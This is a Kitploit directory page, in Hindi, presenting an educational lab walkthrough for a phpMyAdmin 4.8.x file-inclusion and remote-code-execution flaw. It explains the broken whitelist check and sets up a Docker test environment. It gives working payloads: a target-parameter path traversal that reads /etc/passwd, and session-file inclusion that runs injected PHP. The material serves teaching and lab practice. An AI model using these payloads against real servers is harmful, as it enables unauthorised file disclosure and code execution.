Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2018-1263-Demo — शैक्षिक शोषण प्रदर्शन CVE-2018-1263 (phpMyAdmin RCE/LFI) के लिए। इसमें Docker के माध्यम से कमजोर वातावरण सेटअप और वेब एप्लिकेशन शोषण सीखने के लिए चरण-दर-चरण आक्रमण वॉकथ्रू शामिल है। | Kitploit
उपकरण/GitHubGitHub/sakib570/cve-2018-1263-demo
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubsakib570/cve-2018-1263-demo

CVE-2018-1263-Demo

शैक्षिक शोषण प्रदर्शन CVE-2018-1263 (phpMyAdmin RCE/LFI) के लिए। इसमें Docker के माध्यम से कमजोर वातावरण सेटअप और वेब एप्लिकेशन शोषण सीखने के लिए चरण-दर-चरण आक्रमण वॉकथ्रू शामिल है।

रिपॉजिटरी देखें
114 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

एक्सप्लॉइट डेमो

यह मार्गदर्शिका आपको phpMyAdmin बग से संबंधित कमजोर घटक स्थापित करने और हमला करने में मदद करेगी, जिसका उल्लेख CVE-2018-1263 में किया गया है।

  • CVE का विवरण
  • यह कमजोरी क्यों मौजूद है
  • हमला कैसे काम करता है
  • कमजोर घटक कैसे स्थापित करें
  • हमला कैसे करें

CVE का विवरण

यह एक्सप्लॉइट एक समस्या से संबंधित है जो phpMyAdmin संस्करण 4.8.x (4.8.2 से पहले) में खोजी गई थी। इस समस्या का शोषण करके, एक हमलावर सर्वर पर रिमोट कोड निष्पादन और स्थानीय फ़ाइल शामिलीकरण कर सकता है। यह कमजोरी कोड के उस भाग के कारण है जो phpMyAdmin के भीतर पृष्ठों को रीडायरेक्ट करने और लोड करने के लिए जिम्मेदार है। कोड में श्वेतसूचीबद्ध पृष्ठों के लिए एक दोषपूर्ण परीक्षण है जो हमले को संभव बनाता है। हमलावर को प्रमाणित होना चाहिए, सिवाय "$cfg['AllowArbitraryServer'] = true" मामले के (जहां हमलावर कोई भी होस्ट निर्दिष्ट कर सकता है जिसे वह पहले से नियंत्रित करता है, और phpMyAdmin पर मनमाना कोड निष्पादित कर सकता है) और "$cfg['ServerDefault'] = 0" मामले के (जो लॉगिन आवश्यकता को बायपास करता है और बिना किसी प्रमाणीकरण के कमजोर कोड चलाता है)।

यह कमजोरी क्यों मौजूद है

यह कमजोरी कमजोर पथ जाँच फ़ंक्शन में एक मान्यता बायपास के कारण होती है। यह कमजोरी एक प्रमाणित रिमोट हमलावर को सर्वर पर मनमाना PHP कोड निष्पादित करने में सक्षम बनाती है।

phpMyAdmin के index.php में एक फ़ाइल शामिलीकरण है जिसे URL में target नामक पैरामीटर प्रदान करके ट्रिगर किया जा सकता है और पैरामीटर को मान्य करने वाले कोड का भाग इस प्रकार दिखता है

target
root@kitploit:~
$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}
// ...

इस कोड में एक बार if शर्त संतुष्ट हो जाने पर यह include $_REQUEST['target']; निष्पादित करता है। इसलिए, हमें बस if शर्त को बायपास करने की आवश्यकता है ताकि हम जो चाहें निष्पादित कर सकें।

आइए if शर्त को देखें

  1. पहली दो शर्तें कहती हैं कि target पैरामीटर खाली नहीं हो सकता और इसे स्ट्रिंग होना चाहिए।
  2. तीसरी शर्त target पैरामीटर को index से शुरू होने से रोकती है।
  3. चौथी शर्त यह प्रतिबंधित करती है कि target पैरामीटर $target_blacklist में नहीं होना चाहिए।
    • $target_blacklist if शर्त से ठीक पहले परिभाषित किया गया है और इसमें import.php और export.php शामिल हैं, जिसका अर्थ है कि इन दो पृष्ठों को छोड़कर कुछ भी अनुमति है।
  4. पाँचवीं और अंतिम शर्त Core वर्ग में मौजूदा फ़ंक्शन Core::checkPageValidity($_REQUEST['target']) का उपयोग करके पृष्ठ वैधता के लिए एक श्वेतसूची जांच है।
    • जैसा कि नीचे कोड स्निपेट में दिखाया गया है, फ़ंक्शन checkPageValidity $page से ? के पीछे की सभी चीज़ों को हटा देता है और जाँचता है कि क्या यह श्वेतसूची में है। ? के बाद की स्ट्रिंग URL पथ का हिस्सा नहीं है। एक नमूना श्वेतसूची भी कोड स्निपेट में दिखाई गई है।
    root@kitploit:~
    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        // ...
        $_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
        // example $whitelist == array('db_sql.php', 'sql.php', ...)
        if (in_array($_page, $whitelist)) {
            return true;
        }
        // ...
        return false;
    } 
    
    • यहाँ ध्यान देने योग्य महत्वपूर्ण बात यह है कि हमलावर का $page पर पूर्ण नियंत्रण है, क्योंकि यह सीधे $_REQUEST['target'] से आता है।

हमला कैसे काम करता है

जैसा कि पहले उल्लेख किया गया है, हमलावर का URL में $_REQUEST['target'] पैरामीटर के माध्यम से checkPageValidity फ़ंक्शन में $page पर पूर्ण नियंत्रण है। मान लीजिए कि हमलावर $_REQUEST['target'] पैरामीटर का उपयोग करके $page को कुछ इस प्रकार भेजता है

root@kitploit:~
$page = 'db_sql.php?/../../../../../../../../etc/passwd'

checkPageValidity फ़ंक्शन फिर निम्नलिखित कार्य करता है

  1. पहले यह स्ट्रिंग को ? पर विभाजित करता है और पहले भाग को $page को सौंपता है। तो इस उदाहरण मामले में $page = db_sql.php का मान है।
  2. आगे यह जाँचता है कि क्या $_page, यानी db_sql.php, श्वेतसूची में है या नहीं? चूँकि यह श्वेतसूची में है, फ़ंक्शन True लौटाता है और index.php पर वापस जाता है।

चूँकि index.php में if शर्त अब True है, यह निम्नलिखित पंक्ति को निष्पादित करता है जैसा कि ऊपर index.php कोड स्निपेट में दिखाया गया है

root@kitploit:~
include $_REQUEST['target'];

आगे क्या होता है

  • उपरोक्त कथन $_REQUEST['target'] के गैर-विभाजित मान को शामिल करता है, जिसका अर्थ है कि निम्नलिखित क्रियान्वित होता है
    root@kitploit:~
    GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
    
  • चूँकि PHP जादुई रूप से पथ को /../../../../../../../../etc/passwd में बदल देता है बिना यह जाँचे कि db_sql.php मौजूद है या नहीं, /../../../../../../../../etc/passwd निष्पादित हो जाता है और /etc/passwd फ़ाइल की सामग्री हमलावर को वापस प्रतिक्रिया में भेज दी जाती है।

अब हम इसका उपयोग स्थानीय फ़ाइल शामिलीकरण या रिवर्स शेल प्राप्त करने के लिए रिमोट कोड निष्पादन भी कर सकते हैं। जब भी हम phpMyAdmin में कोई क्वेरी निष्पादित करते हैं, यह एक सत्र फ़ाइल बनाता है और क्वेरी सामग्री के साथ /tmp निर्देशिका में संग्रहीत करता है। सत्र फ़ाइल का नाम sess_< SESSION ID > होता है। सत्र आईडी ब्राउज़र के inspect विकल्प का उपयोग करके कुकी में आसानी से पाई जा सकती है।

इसलिए यदि हम phpMyAdmin में निम्नलिखित क्वेरी निष्पादित करते हैं

root@kitploit:~
SELECT '<?php phpinfo();exit;?>'

यह सत्र फ़ाइल में संग्रहीत किया जाएगा। मान लीजिए phpMyAdmin के लिए हमारी सत्र आईडी e15cffd3ab25a631136611fba9ca2042 है

फिर यदि हम ब्राउज़र में निम्नलिखित पता ट्रिगर करते हैं

root@kitploit:~
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042

फिर phpMyAdmin सत्र पृष्ठ को लोड करने का प्रयास करेगा और चूँकि पृष्ठ में क्वेरी के माध्यम से प्रदान किया गया php कोड है, php कोड निष्पादित हो जाएगा और इस विशेष उदाहरण में हम ब्राउज़र द्वारा लोड किए गए पृष्ठ में phpinfo देखेंगे। इस तकनीक का उपयोग करके हम रिमोट सर्वर पर कोई भी मनमाना कोड निष्पादित कर सकते हैं।

कमजोर घटक कैसे स्थापित करें

एक्सप्लॉइट बुनियादी ढाँचे के लिए phpMyAdmin और mysql के कमजोर संस्करण की आवश्यकता होती है। हम आवश्यक घटकों को स्थापित करने के लिए docker कंटेनर का उपयोग करेंगे। phpMyAdmin के कमजोर संस्करण के लिए हम Vulhub से पूर्वनिर्मित docker वातावरण का उपयोग करेंगे और mysql के लिए हम dockerhub से नवीनतम आधिकारिक संस्करण का उपयोग करेंगे। इंस्टॉलेशन स्क्रिप्ट एक docker compose yml स्क्रिप्ट के रूप में प्रदान की गई है जो रिपॉजिटरी में पाई जा सकती है।

हम मानते हैं कि इच्छित मशीन पर docker और docker-compose स्थापित हैं। यदि नहीं, तो कृपया उन्हें स्थापित करने के लिए docker दस्तावेज़ीकरण देखें। एक बार docker स्थापित हो जाने पर, कमजोर घटक सेट करने के लिए निम्नलिखित चरणों का पालन करें:

पहले अपनी इच्छित मशीन पर रिपॉजिटरी को क्लोन करें और क्लोन की गई निर्देशिका पर जाएँ

root@kitploit:~
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo

फिर निम्नलिखित कमांड का उपयोग करके docker compose स्क्रिप्ट चलाएँ

root@kitploit:~
sudo docker-compose up -d

एक बार इंस्टॉलेशन प्रक्रिया समाप्त हो जाने पर docker आपकी मशीन के पोर्ट 8080 पर phpMyAdmin पृष्ठ को उजागर करेगा। आप निम्नलिखित पता प्रारूप का उपयोग करके अपने ब्राउज़र में पृष्ठ खोलकर जाँच सकते हैं

root@kitploit:~
http://your-machine-ip:8080

यदि इंस्टॉलेशन प्रक्रिया सफल होती है तो आपको निम्नलिखित जैसा एक पृष्ठ देखना चाहिए

phpMyAdmin_homepage

हमला कैसे करें

निम्नलिखित वीडियो हमला करने के तरीके पर एक ट्यूटोरियल है

वीडियो लिंक: https://drive.google.com/file/d/1UbLGEwMYswdrRAOMJLd0mFHbsNl1aPvt/preview

संदर्भ

[1] https://www.exploit-db.com/exploits/44928

[2] https://github.com/vulhub/vulhub

[3] https://docs.docker.com/get-docker/

टूल डाउनलोड करें